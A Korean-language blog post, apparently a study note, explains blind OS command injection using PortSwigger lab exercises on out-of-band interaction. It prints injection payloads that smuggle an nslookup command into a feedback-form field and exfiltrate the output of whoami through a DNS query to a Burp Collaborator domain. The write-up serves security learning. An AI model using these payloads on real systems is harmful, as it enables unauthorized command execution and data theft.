Command Injection [5]

DATE : 2023/10/03

OS Command Injection

지금까지 살펴본 Command injection 내용을 정리해보면

Command injection이란 어떤 동작을 하는 서버에,

즉 서버 측에서 의도하는 동작이 있는 데 예기치 않은 다른 동작이 수행되도록

공격자가 명령어를 주입할 수 있는 취약점을 의미했다.

만약 Command injection에 대해 아무런 조치도 취하지 않는 다면

Command Injection [2]에서 봤듯이 손쉽게 OS 명령어를 실행시켜

서버로부터 원하는 정보를 취득할 수 있다.

주입한 명령어의 결과를 구체적인 값으로 얻지 못한다 한들, Time delay와 같이

명령어가 실행되었을 경우와 아닌 경우를 구분할 수 있는 명령어를 주입함으로써

"명령어의 결과가 무엇이냐"보다는 "명령어의 실행 여부"를 통한 Blind Command injection 기술도

응용할 수 있음을 살펴보았다. ( Command Injection [3] & Command Injection [4] )

Blind Command injection과 관련된 LAB이 더 준비되어 있지만 권한 문제로 인해

직접 풀어볼 기회가 되지 않아서, 어떻게 접근한 문제인지 설명 정도로 정리해볼까 한다.


[ Blind Command Injection - out of band interaction ]

이 LAB의 목표는 feedback form을 통해 nslookup command를 실행시키는 것이다.

nslookup portswigger.net

예를 들어 위와 같은 명령어를 실행하게 되면 "portswigger.net"이라는 도메인에 대한 정보를 알려준다.

보안 상의 문제를 위해 portswigger에서는 nslookup을 위한 Domain을 생성해주는 tool이 있는 데

그 tool이 바로 burp collaborator client 이다.

feedback form에다 이름, 메일, 제목, 내용을 작성한 후 " Submit feedback" 버튼을 누르면

이전 LAB을 풀면서 봤던 packet이 만들어질 것이다.

이때 우리의 목적대로 nslookup command를 넣어야 하는 데

query를 실행할 대상 Domain을 이 client로 생성해야 한다.

Copy to clipboard 버튼을 누르면 PAYLOAD.burpcollaborator.net 값이 생성된다.

이 값을 이용해 nslookup command를 실행하면 된다.

여기서 고려해야 하는 점은 사용자가 주입한 명령어가 실행되도록 하기 위해서

separator를 사용해야 한다는 점이다.

csrf=~~&name=mario&email=mario@super.com&message="feed back feeeeeedback" & nslookup PAYLOAD.burpcollaborator.net 

packet body 부분에 다음과 같이 nslookup command 내용을 추가해주면 LAB을 해결할 수 있다.

이 명령어를 추가함으로써

입력한 domain client 입장에서는 DNS lookup이 실행된 내용을 확인할 수 있게 된다.

이 말은 즉, 주입한 명령어는 대상으로 삼은 서버에서 실행되지만

실행 여부는 client쪽에서 확인 가능하다는 의미이다.

따라서 실행 여부로 DNS lookup이 실행되었는 지, 아닌 지를 확인할 수 있기 때문에

이 경우도 Blind command injection 기술이라 할 수 있는 것이다.

여기서 좀 더 업그레이드 해서 whoami command 결과를 알아낼 것인데,

앞에서는(Command Injection [2]) separator를 사용해 바로 whoami command를 주입하거나

redirection 개념을 통해 접근 가능한 경로에 명령어의 결과를 파일로 작성하도록 했다.

이번에는 조금 다른 방식으로 nslookup command에 whoami command를 넣어

그 결과를 얻어보고자 한다.

앞선 경우와 거의 비슷하지만 딱 한 가지, whoami command를 inline execution 방식으로 넣어보면

email or message = "feedback content~~" & nslookup `whoami`.PAYLOAD.burpcollaborator.net

``으로 감싸진 whoami command의 결과가 명령어가 있던 자리로 반환 되면서

현재 사용자명이 포함된 query가 실행! 결과적으로 client 측에서는 그 값이 무엇인지 확인할 수 있다.

여기서 ``을 사용해준 이유는 nslookup command 내부에 또 다른 명령어인 whoami가 들어가는 경우

명령어 안에 명령어가 작성되는 것이기 때문에 이런 경우에는 `` or $() 문자를 사용해줘야 하기 때문이다.

이렇게 명령어 내부에서 명령어가 실행될 수 있도록 하는 걸 inline execution이라고 하는 데

이 기호로 인해

(1) nslookup이 실행된 다음, 대상 도메인이 뭔지 확인하는 차에

(2) whoami command가 실행되고

(3) whoami command 실행이 끝난 후에

(4) 그 결과를 포함한 Domain에 대해 query를 실행하게 되는 것이다.


Command injection과 관련해 준비된 LAB은 여기까지 이다.

지금까지 살펴본 내용을 토대로,

같은 명령어라도 다양한 방식으로 공격이 이루어질 수 있다는 걸 접해보고 넘어가자! 😎

Last updated